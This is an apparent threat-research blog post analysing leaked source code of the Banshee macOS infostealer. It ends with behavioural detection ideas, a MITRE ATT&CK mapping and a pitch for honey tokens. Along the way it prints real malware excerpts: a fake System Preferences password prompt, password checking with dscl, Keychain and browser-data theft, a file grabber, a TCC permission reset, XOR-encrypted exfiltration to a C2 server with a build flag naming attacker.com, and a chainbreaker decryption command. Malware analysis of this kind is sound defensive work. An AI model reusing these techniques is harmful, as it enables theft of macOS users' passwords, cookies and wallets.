Back to all articles

macOS Stealers: How Modern Infostealers Harvest Credentials

December 2, 20259 min readRad KawarThreat Research

Source: vxunderground/MalwareSourceCode - MacOS.Stealer.Banshee.7z

macOS stealers have matured. Banshee, sold as MaaS for ~$3,000/month, demonstrates what a well-engineered stealer looks like in 2024. Written in Objective-C with native ARM64/x86_64 support, it's not a port from Windows malware - it's built for macOS from the ground up.

The core insight is simple: if you can phish the user's password, you can decrypt their entire Keychain offline. The fake "System Preferences" dialog isn't just credential theft - it's the key to everything macOS stores securely. Passwords, certificates, browser encryption keys, secure notes. One successful phish unlocks it all.

From there, Banshee is comprehensive: 8 browsers, system credentials, sensitive files from Desktop/Documents, Safari cookies, Apple Notes. It validates the phished password in real-time using dscl - ensuring the attacker receives working credentials, not typos.

The anti-analysis is standard: VM detection, debugger checks, CIS region exclusion (though the Russian language check is defined but never called - suggesting a variant or incomplete implementation). Exfiltration uses XOR encryption with the key transmitted alongside the data. Weak, but sufficient to evade basic signatures.

Key Characteristics:

AttributeValue
Target OSmacOS (10.14+)
LanguageObjective-C
ArchitectureNative ARM64/x86_64
C2 ProtocolHTTP POST with JSON payload
EncryptionXOR with random 15-char key
PersistenceNone (smash-and-grab)
Price~$3,000/month (MaaS)

Attack Flow

Diagram


Social Engineering Deep Dive

Password Phishing Mechanism

The password theft is the most critical component of Banshee's attack chain. Without a valid password, the stolen Keychain database is encrypted and unusable. The malware uses AppleScript via osascript to display a native-looking dialog:

1// Sources/System.m - getMacOSPassword
2- (void)getMacOSPassword {
3 NSString *username = NSUserName();
4 for (int i = 0; i < 5; i++) {
5 NSString *dialogCommand =
6 @"osascript -e 'display dialog \"To launch the application, you need "
7 @"to update the system settings \n\nPlease enter your password.\" with "
8 @"title \"System Preferences\" with icon caution default answer \"\" "
9 @"giving up after 30 with hidden answer'";
10

Dialog Properties:

PropertyValuePurpose
title"System Preferences"Mimics legitimate macOS prompt
with icon cautionWarning iconCreates urgency
default answer ""Empty text fieldPassword input
giving up after 3030 second timeoutAuto-dismiss if ignored
with hidden answerMasked inputHides password characters

Social Engineering Text Analysis:

1"To launch the application, you need to update the system settings
2
3Please enter your password."
4

This message exploits several psychological triggers:

  1. Authority - Claims to be from "System Preferences"
  2. Urgency - Implies the app won't work without action
  3. Familiarity - macOS users are accustomed to password prompts
  4. Vagueness - "update system settings" is plausible but non-specific

Password Validation via Directory Services

The stolen password is validated in real-time using macOS Directory Services:

1// Sources/System.m - verifyPassword
2- (BOOL)verifyPassword:(NSString *)username password:(NSString *)password {
3 NSString *command =
4 [NSString stringWithFormat:@"dscl /Local/Default -authonly %@ %@",
5 username, password];
6 NSString *result = [Tools exec:command];
7 return result.length == 0; // Empty output = valid credentials
8}
9

Technical Details:

  • dscl (Directory Service Command Line) is a legitimate macOS utility
  • /Local/Default specifies the local directory node
  • -authonly performs authentication without returning user data
  • Empty output indicates successful authentication
  • Any output (error message) indicates failure

Why This Matters:

  1. Attacker receives only verified working credentials
  2. Reduces noise in stolen data
  3. Enables immediate account compromise
  4. Password can decrypt the Keychain offline

Retry Logic and User Experience

1// Sources/System.m - retry loop in getMacOSPassword
2for (int i = 0; i < 5; i++) {
3 // ... display dialog and parse password ...
4
5 if ([self verifyPassword:username password:password]) {
6 SYSTEM_PASS = password;
7 DebugLog(@"Password saved successfully.");
8 break;
9 } else {
10 DebugLog(@"Password verification failed.");
11 }
12}
13

The 5-attempt loop is significant:

  • Users often mistype passwords
  • Multiple prompts don't appear suspicious (apps frequently re-request)
  • Each attempt has a 30-second timeout
  • Execution continues even if all attempts fail (other data still valuable)

Data Collection Deep Dive

Browser Data Theft Architecture

Banshee targets 8 browsers with profile-aware collection, meaning it steals data from all browser profiles (Default, Profile 1, Profile 2, etc.):

Chromium-Based Browsers (7 targets)

Diagram

Firefox

Diagram

Browser Profile Paths

1// Sources/Browsers.m - init
2- (instancetype)init {
3 self = [super init];
4 if (self) {
5 self.chromePath = @"/Google/Chrome";
6 self.firefoxPath = @"/Firefox/Profiles";
7 self.bravePath = @"/BraveSoftware/Brave-Browser";
8 self.edgePath = @"/Microsoft Edge";
9 self.vivaldiPath = @"/Vivaldi";
10 self.yandexPath = @"/Yandex/YandexBrowser";
11 self.operaPath = @"/com.operasoftware.Opera";
12 self.operaGXPath = @"/com.operasoftware.OperaGX";
13 }
14 return self;
15}
16

All paths are relative to ~/Library/Application Support/.

Profile Discovery Logic

1// Sources/Browsers.m - getProfiles
2- (NSArray<NSString *> *)getProfiles:(NSString *)browserPath
3 browserName:(NSString *)browserName {
4 NSMutableArray<NSString *> *profiles = [NSMutableArray array];
5 // ... directory enumeration ...
6
7 if ([browserName isEqualToString:@"Chrome"] ||
8 [browserName isEqualToString:@"Brave"] || /* ... */) {
9 // Chromium: look for "Default" or "Profile *" directories
10 if ([entry isEqualToString:@"Default"] ||
11 [entry hasPrefix:@"Profile "]) {
12 [profiles addObject:[entry stringByAppendingString:@"/"]];
13 }
14 } else if ([browserName isEqualToString:@"Firefox"]) {
15 // Firefox: look for "*.default-release" directories
16 if ([entry containsString:@".default-release"]) {
17 [profiles addObject:[entry stringByAppendingString:@"/"]];
18 }
19 }
20}
21

Stolen Browser Files - Technical Details

Chromium-Based Browsers:

FileFormatContentsEncryption
CookiesSQLite3Session cookies, authentication tokensAES-256-GCM (Keychain)
Login DataSQLite3Saved usernames/passwordsAES-256-GCM (Keychain)
HistorySQLite3Browsing history, search termsNone
Web DataSQLite3Autofill data, credit cardsAES-256-GCM (Keychain)

Firefox:

FileFormatContentsEncryption
cookies.sqliteSQLite3Session cookiesNone
logins.jsonJSONEncrypted credentials3DES-CBC (key4.db)
places.sqliteSQLite3History, bookmarksNone
formhistory.sqliteSQLite3Form autofill dataNone
key4.dbSQLite3 + NSSMaster key for logins.jsonPBKDF2 + 3DES

Critical Note: The stolen Chromium passwords are encrypted with a key stored in the macOS Keychain. This is why Banshee steals both the browser databases AND the Keychain - the attacker needs both to decrypt the passwords offline using the phished system password.

Keychain Database Theft

1// Sources/System.m - dumpKeychainPasswords
2- (void)dumpKeychainPasswords {
3 NSString *keychainPath = [NSHomeDirectory()
4 stringByAppendingPathComponent:@"Library/Keychains/login.keychain-db"];
5 [Tools copyFileToDirectory:keychainPath
6 destinationDirectory:[TEMPORARY_PATH
7 stringByAppendingPathComponent:@"Passwords"]];
8}
9

The login.keychain-db contains:

  • Safari saved passwords
  • WiFi network passwords
  • Application passwords (Mail, Calendar, etc.)
  • Certificates and private keys
  • Secure notes
  • Chrome Safe Storage key (the AES key for decrypting Chromium browser passwords)

The Chrome Safe Storage entry is particularly valuable - it's the key needed to decrypt Login Data from Chromium browsers. Banshee stealing both the Keychain and browser SQLite files gives attackers everything they need.

Decryption Chain:

The login.keychain-db is encrypted at rest using a key derived from your login password:

Diagram

When you log into macOS, the system unlocks your Keychain automatically using your login password. If someone steals just the .keychain-db file without the password, they get an encrypted blob. This is why Banshee phishes the password first - it's not just for immediate account access, it's the decryption key for everything in the Keychain.

Offline Decryption with Chainbreaker:

For offline decryption, attackers use tools like chainbreaker. Given the keychain file and password, it extracts:

  • Generic Passwords
  • Internet Passwords
  • Private Keys
  • Public Keys
  • X509 Certificates
  • Secure Notes
  • Appleshare Passwords
1# Attacker's workflow after exfiltration
2chainbreaker -f stolen_keychain.keychain-db -p "phished_password"
3

With a validated password from Banshee's dscl check, the attacker has everything required for immediate decryption.

File Grabber via AppleScript

The file grabber uses AppleScript executed via osascript to access files through Finder:

1set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}
2
3-- Gather desktop files
4set desktopFiles to every file of desktop
5repeat with aFile in desktopFiles
6 set fileExtension to name extension of aFile
7 if fileExtension is in extensionsList then
8 set fileSize to size of aFile
9 if fileSize < 51200 then -- 50KB limit
10 duplicate aFile to folder fileGrabberFolderPath with replacing
11 end if
12 end if
13end repeat
14
15-- Same for Documents folder
16set documentsFiles to every file of folder "Documents" of (path to home folder)
17-- ... same logic ...
18

Target File Types:

ExtensionTypical Contents
.txtSeed phrases, passwords, notes
.docxDocuments (may contain credentials)
.rtfRich text documents
.docLegacy Word documents
.walletWallet backup files
.keysKey files
.keyPrivate key files

Additional Targets:

1-- Safari cookies (path varies by macOS version)
2if macOSVersion starts with "10.15" or macOSVersion starts with "10.14" then
3 set safariFolder to (path to library folder) & "Safari:"
4else
5 set safariFolder to (path to library folder) &
6 "Containers:com.apple.Safari:Data:Library:Cookies:"
7end if
8duplicate file "Cookies.binarycookies" of folder safariFolder
9
10-- Apple Notes database
11set sourceFilePath to homePath &
12 "Library:Group Containers:group.com.apple.notes:NoteStore.sqlite"
13duplicate file sourceFilePath to folder notesFolderPath
14

Anti-Detection Features in AppleScript:

1-- Mute system sounds to hide file operation audio
2do shell script "osascript -e 'set volume with output muted'"
3
4-- ... file operations ...
5
6-- Restore audio
7do shell script "osascript -e 'set volume without output muted'"
8

TCC Permission Bypass Attempts:

macOS uses Transparency, Consent, and Control (TCC) to protect sensitive user data. TCC is a privacy framework that requires explicit user consent before applications can access protected resources like:

  • Contacts, Calendar, Reminders
  • Photos, Camera, Microphone
  • Full Disk Access
  • Accessibility features
  • Automation (AppleEvents) - which Banshee needs for its file grabber

TCC permissions are stored in a SQLite database (~/Library/Application Support/com.apple.TCC/TCC.db) and managed by the tccd daemon. The tccutil command-line tool can reset these permissions.

1// Sources/System.m - runAppleScriptWithPath
2NSString *resetPermissions = @"do shell script \"tccutil reset AppleEvents\"";
3
4for (int i = 0; i < 30; i++) {
5 int req = [self executeAppleScript:appleScript];
6 if (req != 0) {
7 // Reset TCC permissions and retry - forces new permission prompt
8 [self executeAppleScript:resetPermissions];
9 sleep(1);
10 continue;
11 }
12 break;
13}
14

What tccutil reset AppleEvents does:

  • Clears all AppleEvents/Automation permissions for all applications
  • Next AppleScript execution will trigger a fresh permission prompt
  • Banshee hopes the user will click "Allow" on the new prompt
  • Retries up to 30 times, giving the user multiple opportunities to grant access

Why this matters: On modern macOS (10.14+), the file grabber AppleScript will fail without Automation permission. By resetting and re-prompting, Banshee has 30 chances to get the user to click "OK" on the system permission dialog.

System Information Collection

1// Sources/System.m - collectSystemInfo
2- (void)collectSystemInfo {
3 NSString *data =
4 [Tools exec:@"system_profiler SPSoftwareDataType SPHardwareDataType"];
5
6 // Parse key-value pairs
7 NSMutableDictionary *systemInfo = [NSMutableDictionary dictionary];
8 // ... parsing logic ...
9
10 // Add campaign tracking
11 systemInfo[@"BUILD_ID"] = BUILD_ID;
12
13 // Fetch IP geolocation
14 [self getIP:^(NSDictionary *ipInfo, NSError *error) {
15 systemInfo[@"ip_info"] = ipInfo;
16 systemInfo[@"system_os"] = @"macos";
17 systemInfo[@"system_password"] = SYSTEM_PASS;
18
19 // Write to system_info.json
20 NSData *jsonData = [NSJSONSerialization dataWithJSONObject:systemInfo ...];
21 [jsonData writeToFile:filePath atomically:YES];
22 }];
23}
24

Collected System Data:

FieldSourcePurpose
Model Identifiersystem_profilerHardware identification
Serial Numbersystem_profilerUnique device ID
macOS Versionsystem_profilerOS fingerprinting
UsernameNSUserName()Account identification
Public IPfreeipapi.comGeolocation
IP Detailsipify.orgSecondary IP source
BUILD_IDHardcodedCampaign tracking
system_passwordPhishedStolen credentials

Data Staging Structure

All stolen data is organized in a temporary directory:

1$TMPDIR/<25_random_chars>/
2|-- Browsers/
3| |-- Chrome_Default/
4| | |-- Cookies/
5| | |-- Passwords/
6| | |-- History/
7| | |-- Autofills/
8| | |-- Extensions/
9| | |-- nkbihfbeogaeaoehlefnkodbefgpgknn/ (MetaMask)
10| | |-- bfnaelmomeimhlpmgjnjophhpkkoljpa/ (Phantom)
11| |-- Firefox_xxxxxxxx.default-release/
12| | |-- Cookies/
13| | |-- Passwords/
14| | |-- Local State/ (key4.db)
15|-- Wallets/
16| |-- Exodus/
17| |-- electrum/
18| |-- Coinomi/
19|-- Passwords/
20| |-- login.keychain-db
21|-- FileGrabber/
22| |-- Cookies.binarycookies
23| |-- document.docx
24| |-- seed_phrase.txt
25|-- Notes/
26| |-- NoteStore.sqlite
27|-- system_info.json
28

Exfiltration Protocol

Compression

1// Sources/Tools.m - compressFolder
2+ (int)compressFolder:(NSString *)folderPath {
3 NSString *command =
4 [NSString stringWithFormat:@"ditto -c -k %@ %@.zip --norsrc --noextattr",
5 folderPath, folderPath];
6 return system([command UTF8String]);
7}
8

ditto flags:

  • -c - Create archive
  • -k - PKZip format
  • --norsrc - Don't preserve resource forks
  • --noextattr - Don't preserve extended attributes

XOR Encryption

1// Sources/Tools.m - xorEncryptDecrypt
2+ (NSMutableData *)xorEncryptDecrypt:(NSMutableData *)data key:(NSString *)key {
3 NSUInteger dataLength = [data length];
4 NSUInteger keyLength = [key length];
5 unsigned char *dataPtr = (unsigned char *)[data mutableBytes];
6 const char *keyPtr = [key UTF8String];
7
8 for (NSUInteger i = 0; i < dataLength; i++) {
9 dataPtr[i] ^= keyPtr[i % keyLength];
10 }
11 return data;
12}
13

Weakness: XOR encryption is trivially reversible. The key is transmitted alongside the encrypted data, making this purely an anti-signature measure, not real encryption.

C2 Protocol

1// Sources/Sender.m - sendData
2NSDictionary *jsonData = @{
3 @"data" : [NSString stringWithFormat:@"%@:%@:%@",
4 base64EncodedZipData, // Encrypted ZIP
5 key, // XOR key (15 chars)
6 folderName] // Staging folder name
7};
8

HTTP Request:

1POST /send/ HTTP/1.1
2Host: 45.xxx.xxx.92
3Content-Type: application/json
4
5{"data":"<base64_xor_encrypted_zip>:<15_char_key>:<folder_name>"}
6

Server-Side Decryption (Pseudocode):

1data = json.loads(request.body)
2parts = data['data'].split(':')
3encrypted_b64 = parts[0]
4xor_key = parts[1]
5folder_name = parts[2]
6
7encrypted = base64.b64decode(encrypted_b64)
8decrypted = bytes([b ^ ord(xor_key[i % len(xor_key)]) for i, b in enumerate(encrypted)])
9# decrypted is now the ZIP file
10

Configuration (globals.h)

1// Headers/globals.h - compile-time configuration
2#define BUILD_ID @"T0JVJJy6tgNdmygyRfN0eRaIiZq2uw" // Campaign/affiliate ID
3#define ENCRYPTION_KEY @"rt" // Passed to child process
4#define REMOTE_IP @"http://45.1d42.1d22.92/send/" // C2 endpoint
5

Compile-Time Customization:

1# Build with custom C2
2clang ... -DCUSTOM_REMOTE_IP="http://attacker.com/receive/"
3
4# Build with custom campaign ID
5clang ... -DCUSTOM_BUILD_ID="affiliate_xyz"
6

Behavioral Detection Opportunities

The most reliable detection points focus on the unique behavioral patterns rather than individual API calls:

Password Dialog Phishing

  • osascript spawning a password prompt with "System Preferences" title
  • dscl /Local/Default -authonly command execution (password validation)
  • Multiple password dialogs in quick succession (retry behavior)
  • Dialog text containing "update the system settings"

TCC Manipulation

  • tccutil reset AppleEvents execution
  • Repeated AppleScript execution failures followed by TCC reset
  • Process requesting Automation permissions multiple times

Anti-Forensics

  • killall Terminal immediately after process spawn
  • Self-launching process with run_controller argument
  • Bulk deletion of temp directories after network activity

Network Exfiltration Pattern

  • HTTP POST to /send/ endpoint
  • JSON payload with colon-delimited base64 data
  • Connections to freeipapi.com and api.ipify.org followed by large outbound POST

MITRE ATT&CK Mapping

IDTechniqueSub-TechniqueImplementation
T1059.002Command and Scripting InterpreterAppleScriptFile grabber, audio muting, permission reset
T1059.004Command and Scripting InterpreterUnix ShellCommand execution via /bin/sh -c
T1555.001Credentials from Password StoresKeychainlogin.keychain-db theft
T1555.003Credentials from Password StoresCredentials from Web BrowsersBrowser profile theft
T1539Steal Web Session Cookie-Cookie database theft
T1056.002Input CaptureGUI Input CaptureFake password dialog
T1082System Information Discovery-system_profiler
T1016System Network Configuration Discovery-IP geolocation APIs
T1497.001Virtualization/Sandbox EvasionSystem ChecksVM/debugger detection
T1027Obfuscated Files or Information-XOR encryption
T1041Exfiltration Over C2 Channel-HTTP POST to C2
T1560.001Archive Collected DataArchive via Utilityditto compression
T1070.004Indicator RemovalFile DeletionCleanup of staging
T1106Native API-Objective-C runtime, Foundation framework

What This Means for Detection

Banshee's smash-and-grab model creates a fundamental detection problem. No persistence. Fast exfiltration. By the time you notice something's wrong, the data is already in an underground market.

Behavioral detection at the endpoint - monitoring for osascript password dialogs, TCC manipulation, bulk file enumeration - only works if you catch the infection in progress. The next variant changes the IOCs. The hardcoded C2 becomes a new IP. The staging path changes from tempFolder-32555443 to something else. The behavioral signatures that worked yesterday don't work tomorrow.

But the stolen credentials still need to be used.

This is where early warning honey tokens change the equation. Plant monitored credentials in the locations Banshee targets: browser password stores, Keychain entries, configuration files on Desktop/Documents. When Banshee exfiltrates them alongside legitimate credentials, the tokens enter the same underground markets.

Threat actors searching infostealer logs find your tokens mixed with real stolen credentials. They cannot distinguish them during enumeration. When they validate a token to check if it works before operational use - immediate alert, and you know exactly which asset that token was deployed on in seconds.

Stealers like Banshee are the harvesting mechanism. The real threat is downstream - when stolen credentials get used. Detect there, and the sophistication of the stealer stops mattering.

Want more insights like this?